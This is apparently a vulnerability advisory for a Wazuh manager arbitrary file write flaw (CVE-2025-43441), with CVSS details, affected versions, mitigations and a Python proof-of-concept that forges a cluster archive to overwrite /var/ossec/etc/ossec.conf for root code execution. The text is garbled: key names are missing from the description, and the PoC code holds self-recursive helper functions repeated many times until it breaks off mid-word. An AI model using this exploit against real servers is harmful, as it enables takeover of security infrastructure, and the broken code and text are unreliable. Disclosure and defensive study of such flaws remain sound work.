Wazuh Manager Arbitrary File Write via peer-controlled metadata leads to RCE (CVE-2025-43441)

Vulnerability Overview Vulnerability Name: Peer-controlled metadata key in non-merged branch allows arbitrary file write under on Wazuh manager CVE ID: CVE-2025-43441 CVSS v3 base metrics: Attack vector: Network Attack complexity: Low Privileges required: High User interaction: None Scope: Changed Confidentiality: High Integrity: High Availability: High Description: This vulnerability allows arbitrary file writes on the Wazuh manager via forged and parameters. An attacker can exploit this vulnerability to overwrite sensitive configuration files (such as ), thereby achieving Remote Code Execution (RCE). Affected Scope Affected Versions: Wazuh Manager >= 4.3.0 Fixed Versions: 4.14.6 Primary Impact: 1. Root RCE via /var/ossec/etc/ossec.conf overwrite: The attacker can overwrite the main configuration file, leading to RCE. 2. Alert rule and decoder injection: By writing to the and directories, malicious rules and decoders can be injected. 3. CDB list poisoning: By writing to the directory, the CDB lists can be poisoned. 4. Integration code injection: By writing to the directory, malicious integration code can be injected. 5. Shared group configuration override: By writing to the directory, shared group configurations can be overridden. Remediation Recommended Mitigations: 1. Restrict to the directory specified by : Ensure that remains within the directory specified by , and reject any requests that exceed this scope. 2. Reject any that resolves to sensitive subdirectories: Use an explicit blacklist to reject values that resolve to sensitive subdirectories such as , , , , , , etc. POC Code ```python POC Code import hashlib import json import time import zlib from cluster_client import handshake, send, recv_msg PATH_SEP = b'\x00/\x00' FILE_SEP = b'\x00@\x00' POC_CONTENT = b'\n\n\n\n' DEST_KEY = '/var/ossec/etc/ossec.conf' metadata = { DEST_KEY: { "cluster_item_key": "etc/", any valid key from cluster.json works "merged": False, } } archive = { DEST_KEY.encode() + PATH_SEP + zlib.compress(POC_CONTENT), FILE_SEP, b'files_metadata.json' + PATH_SEP + zlib.compress(json.dumps(metadata).encode()), } archive_parts = [ DEST_KEY.encode() + PATH_SEP + zlib.compress(POC_CONTENT), FILE_SEP, b'files_metadata.json' + PATH_SEP + zlib.compress(json.dumps(metadata).encode()), ] archive = b''.join(archive_parts) print(f'[*] Archive built, {len(archive)} bytes, dest={DEST_KEY}, cluster_item_key=etc/') NODE_NAME = 'h3_ossec_node' ARCHIVE_REL_PATH = f'queue/cluster/{NODE_NAME}/h3.zip' counter = 100 def send_msg(sock, cmd, data, counter): """Send a message to the server.""" sock.sendall(build_packet(cmd, data, counter)) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_t

Goal Reached Thanks to every supporter — we hit 100%!

Wazuh Manager Arbitrary File Write via peer-controlled metadata leads to RCE (CVE-2025-43441)

More from this source